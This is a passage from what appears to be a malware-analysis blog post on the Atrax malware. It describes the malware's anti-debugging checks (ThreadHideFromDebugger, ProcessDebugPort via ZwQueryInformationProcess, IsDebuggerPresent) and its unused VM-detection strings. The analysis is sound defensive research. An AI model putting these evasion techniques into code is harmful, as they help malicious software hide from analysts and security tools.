When ThreadInformationClass is set to 0x11 (ThreadHideFromDebugger), any debugger becomes blind to actions performed by this thread.

Capture d’écran 2014-08-20 à 15.00.56



The second way to bypass debug involves using ZwQueryInformationProcess in order to find a debugger.

TSTATUS WINAPI ZwQueryInformationProcess(
_In_       HANDLE ProcessHandle,
_In_       PROCESSINFOCLASS ProcessInformationClass,
_Out_     PVOID ProcessInformation,
_In_       ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength


When ProcessInformationClass is set to 0x7 (ProcessDebugPort), ProcessInformation is set to -1 when the process is being debugged.

Capture d’écran 2014-08-20 à 15.03.33



Finally, Atrax uses the classical IsDebuggerPresent function call which looks for the BeingDebugged flag inside the PEB. If BeingDebugged equals 1, the process is debugged.


Malware’s specifications refer to VM detection. This functionality seems not to be included into the sample that has been studied but we can find some significant strings inside the binary file:

  • VMWare
  • VBOX
  • DiskVirtual_HD

It looks like some codes about VM detection is present but after static analysis we saw that this part of code is never called.


In this post we have seen that an effort was made to detect security products but the detection of analysis environment are not really well implemented. One year after malware launch, it’s fully detected by the sandboxes and the tricks used here are not efficient.Yet there are a huge number of tricks documented on the Internet for anti-debug, anti-VM and anti-analysis. Atrax uses only the most basics tests.

For further information, please see: